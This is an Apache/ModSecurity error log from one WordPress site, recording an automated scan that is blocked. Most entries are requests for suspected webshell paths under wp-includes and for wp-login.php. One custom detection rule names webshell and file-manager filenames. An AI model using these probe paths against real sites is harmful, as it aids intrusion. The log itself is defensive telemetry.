[Wed Dec 24 10:46:50.613845 2025] [:error] [pid 54139:tid 54159] [client 63.135.161.49:23821] [client 63.135.161.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aUtUGsrYCZenIDzgXuLy_QAAARI"]
[Wed Dec 24 10:46:51.045502 2025] [:error] [pid 28405:tid 28409] [client 104.234.53.207:50521] [client 104.234.53.207] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.207, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aUtUG8KkTWlhmfdXFqbdMAAAAUA"]
[Wed Dec 24 10:46:51.512449 2025] [:error] [pid 28405:tid 28428] [client 104.234.53.207:50521] [client 104.234.53.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aUtUG8KkTWlhmfdXFqbdOgAAAVI"]
[Wed Dec 24 10:46:52.576489 2025] [:error] [pid 54139:tid 54147] [client 104.234.53.225:62309] [client 104.234.53.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aUtUHMrYCZenIDzgXuLzJwAAAQY"]
[Wed Dec 24 10:46:53.116482 2025] [:error] [pid 16550:tid 16567] [client 104.234.53.207:49001] [client 104.234.53.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aUtUHaYYcdD-LuO7vrBXJQAAAM8"]
[Wed Dec 24 10:46:54.610163 2025] [:error] [pid 16466:tid 16484] [client 63.135.161.65:38365] [client 63.135.161.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aUtUHru0JcuKJMjJn6y3hAAAAA4"]
[Wed Dec 24 10:46:55.120766 2025] [:error] [pid 28405:tid 28414] [client 63.135.161.73:48419] [client 63.135.161.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aUtUH8KkTWlhmfdXFqbdXAAAAUU"]
[Wed Dec 24 10:46:56.927505 2025] [:error] [pid 16466:tid 16480] [client 63.135.161.64:24883] [client 63.135.161.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aUtUILu0JcuKJMjJn6y3qgAAAAo"]
[Wed Dec 24 10:46:57.866739 2025] [proxy_fcgi:error] [pid 54139:tid 54164] [client 63.135.161.52:61249] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:46:58.320617 2025] [:error] [pid 54139:tid 54155] [client 63.135.161.52:61249] [client 63.135.161.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aUtUIsrYCZenIDzgXuLznwAAAQ4"]
[Wed Dec 24 10:46:58.769504 2025] [:error] [pid 16468:tid 16543] [client 63.135.161.76:41259] [client 63.135.161.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aUtUIodyfuSTFLkCbP8YQgAAAJM"]
[Wed Dec 24 10:46:59.780322 2025] [:error] [pid 54139:tid 54143] [client 63.135.161.75:26071] [client 63.135.161.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aUtUI8rYCZenIDzgXuLzwAAAAQI"]
[Wed Dec 24 10:47:00.315960 2025] [:error] [pid 28405:tid 28424] [client 104.234.53.214:48243] [client 104.234.53.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aUtUJMKkTWlhmfdXFqbdmwAAAU4"]
[Wed Dec 24 10:47:02.835805 2025] [:error] [pid 28405:tid 28414] [client 63.135.161.63:33493] [client 63.135.161.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aUtUJsKkTWlhmfdXFqbdxQAAAUU"]
[Wed Dec 24 10:47:03.301704 2025] [:error] [pid 16467:tid 16513] [client 63.135.161.48:47859] [client 63.135.161.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aUtUJ40TJMcBxX5slgrT3wAAAFA"]
[Wed Dec 24 10:47:04.841226 2025] [:error] [pid 54139:tid 54141] [client 63.135.161.72:49065] [client 63.135.161.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aUtUKMrYCZenIDzgXuL0BwAAAQA"]
[Wed Dec 24 10:47:05.272611 2025] [:error] [pid 16468:tid 16535] [client 104.234.53.223:48395] [client 104.234.53.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aUtUKYdyfuSTFLkCbP8YrgAAAIs"]
[Wed Dec 24 10:47:08.119716 2025] [:error] [pid 54139:tid 54154] [client 63.135.161.58:51389] [client 63.135.161.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aUtULMrYCZenIDzgXuL0NAAAAQ0"]
[Wed Dec 24 10:47:09.946761 2025] [:error] [pid 16467:tid 16512] [client 63.135.161.52:57771] [client 63.135.161.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aUtULY0TJMcBxX5slgrUUQAAAE8"]
[Wed Dec 24 10:47:15.538711 2025] [:error] [pid 28405:tid 28411] [client 63.135.161.60:41689] [client 63.135.161.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aUtUM8KkTWlhmfdXFqbfDQAAAUI"]
[Wed Dec 24 10:47:17.718141 2025] [:error] [pid 16467:tid 16515] [client 104.234.53.217:41333] [client 104.234.53.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.217, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "aUtUNY0TJMcBxX5slgrUqgAAAFI"]
[Wed Dec 24 10:47:19.103094 2025] [:error] [pid 16467:tid 16505] [client 104.234.53.217:41333] [client 104.234.53.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aUtUN40TJMcBxX5slgrUwgAAAEg"]
[Wed Dec 24 10:47:19.567857 2025] [:error] [pid 28405:tid 28415] [client 63.135.161.71:62327] [client 63.135.161.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.71, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aUtUN8KkTWlhmfdXFqbfZwAAAUY"]
[Wed Dec 24 10:47:22.341250 2025] [proxy_fcgi:error] [pid 28405:tid 28412] [client 63.135.161.71:62327] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:47:26.318504 2025] [:error] [pid 28405:tid 28410] [client 63.135.161.71:62327] [client 63.135.161.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aUtUPsKkTWlhmfdXFqbf8QAAAUE"]
[Wed Dec 24 10:47:27.668720 2025] [:error] [pid 54139:tid 54149] [client 104.234.53.209:56271] [client 104.234.53.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aUtUP8rYCZenIDzgXuL1CQAAAQg"]
[Wed Dec 24 10:47:28.729434 2025] [:error] [pid 54139:tid 54149] [client 63.135.161.45:25811] [client 63.135.161.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aUtUQMrYCZenIDzgXuL1EgAAAQg"]
[Wed Dec 24 10:47:31.755958 2025] [:error] [pid 16467:tid 16512] [client 63.135.161.71:59247] [client 63.135.161.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aUtUQ40TJMcBxX5slgrVgwAAAE8"]
[Wed Dec 24 10:47:32.766689 2025] [:error] [pid 16468:tid 16525] [client 63.135.161.57:43269] [client 63.135.161.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aUtURIdyfuSTFLkCbP8abAAAAIE"]
[Wed Dec 24 10:47:33.494883 2025] [:error] [pid 28777:tid 28779] [client 63.135.161.58:30303] [client 63.135.161.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aUtURZBVBcZ34cSqz8q3sgAAAYA"]
[Wed Dec 24 10:47:34.925656 2025] [proxy_fcgi:error] [pid 28777:tid 28791] [client 63.135.161.65:47931] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:47:35.177712 2025] [proxy_fcgi:error] [pid 28777:tid 28793] [client 63.135.161.65:47931] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:47:35.485926 2025] [:error] [pid 28777:tid 28779] [client 63.135.161.65:47931] [client 63.135.161.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aUtUR5BVBcZ34cSqz8q36AAAAYA"]
[Wed Dec 24 10:47:35.967512 2025] [:error] [pid 54139:tid 54148] [client 63.135.161.57:61669] [client 63.135.161.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aUtUR8rYCZenIDzgXuL1YAAAAQc"]
[Wed Dec 24 10:47:38.249510 2025] [:error] [pid 54139:tid 54142] [client 63.135.161.63:57401] [client 63.135.161.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aUtUSsrYCZenIDzgXuL1fAAAAQE"]
[Wed Dec 24 10:47:38.990319 2025] [:error] [pid 16467:tid 16500] [client 104.234.53.217:25637] [client 104.234.53.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aUtUSo0TJMcBxX5slgrV8QAAAEM"]
[Wed Dec 24 10:47:40.283486 2025] [:error] [pid 28777:tid 28779] [client 63.135.161.66:35655] [client 63.135.161.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aUtUTJBVBcZ34cSqz8q4SQAAAYA"]
[Wed Dec 24 10:47:42.624685 2025] [:error] [pid 16466:tid 16484] [client 63.135.161.57:61299] [client 63.135.161.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aUtUTru0JcuKJMjJn6y6GwAAAA4"]
[Wed Dec 24 10:47:43.251630 2025] [proxy_fcgi:error] [pid 16467:tid 16505] [client 63.135.161.65:58573] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:47:43.954481 2025] [:error] [pid 16467:tid 16515] [client 63.135.161.65:58573] [client 63.135.161.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aUtUT40TJMcBxX5slgrWOgAAAFI"]
[Wed Dec 24 10:47:45.761612 2025] [proxy_fcgi:error] [pid 28777:tid 28799] [client 63.135.161.75:54947] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:47:46.291070 2025] [:error] [pid 28777:tid 28780] [client 63.135.161.75:54947] [client 63.135.161.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.75, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aUtUUpBVBcZ34cSqz8q4mgAAAYE"]
[Wed Dec 24 10:47:47.847863 2025] [:error] [pid 28777:tid 28783] [client 63.135.161.75:54947] [client 63.135.161.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aUtUU5BVBcZ34cSqz8q4vQAAAYQ"]
[Wed Dec 24 10:47:48.516687 2025] [:error] [pid 54139:tid 54158] [client 104.234.53.210:30121] [client 104.234.53.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aUtUVMrYCZenIDzgXuL2BgAAARE"]
[Wed Dec 24 10:47:50.013036 2025] [:error] [pid 54139:tid 54143] [client 63.135.161.59:48063] [client 63.135.161.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aUtUVcrYCZenIDzgXuL2JwAAAQI"]
[Wed Dec 24 10:47:51.386842 2025] [:error] [pid 16467:tid 16502] [client 104.234.53.216:41651] [client 104.234.53.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aUtUV40TJMcBxX5slgrWswAAAEU"]
[Wed Dec 24 10:47:52.069654 2025] [:error] [pid 16468:tid 16535] [client 63.135.161.71:42731] [client 63.135.161.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aUtUWIdyfuSTFLkCbP8bXwAAAIs"]
[Wed Dec 24 10:47:53.233923 2025] [:error] [pid 16466:tid 16482] [client 104.234.53.216:24901] [client 104.234.53.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aUtUWbu0JcuKJMjJn6y6sgAAAAw"]
[Wed Dec 24 10:47:54.274660 2025] [proxy_fcgi:error] [pid 28777:tid 28791] [client 63.135.161.52:22331] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:47:54.540181 2025] [:error] [pid 28777:tid 28782] [client 63.135.161.52:22331] [client 63.135.161.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aUtUWpBVBcZ34cSqz8q5NQAAAYM"]
[Wed Dec 24 10:47:55.203431 2025] [:error] [pid 16466:tid 16472] [client 104.234.53.219:37761] [client 104.234.53.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/db.php"] [unique_id "aUtUW7u0JcuKJMjJn6y60gAAAAI"]
[Wed Dec 24 10:47:55.716992 2025] [:error] [pid 16550:tid 16552] [client 104.234.53.223:50439] [client 104.234.53.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aUtUW6YYcdD-LuO7vrBa4wAAAMA"]
[Wed Dec 24 10:47:56.257544 2025] [:error] [pid 16466:tid 16470] [client 63.135.161.57:21761] [client 63.135.161.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aUtUXLu0JcuKJMjJn6y65gAAAAA"]
[Wed Dec 24 10:47:56.718062 2025] [:error] [pid 16466:tid 16486] [client 63.135.161.60:41207] [client 63.135.161.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aUtUXLu0JcuKJMjJn6y68QAAABA"]
[Wed Dec 24 10:47:57.158512 2025] [:error] [pid 16466:tid 16493] [client 104.234.53.207:38359] [client 104.234.53.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aUtUXbu0JcuKJMjJn6y6-AAAABc"]
[Wed Dec 24 10:47:57.663440 2025] [:error] [pid 28777:tid 28794] [client 104.234.53.219:35061] [client 104.234.53.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aUtUXZBVBcZ34cSqz8q5aQAAAY8"]
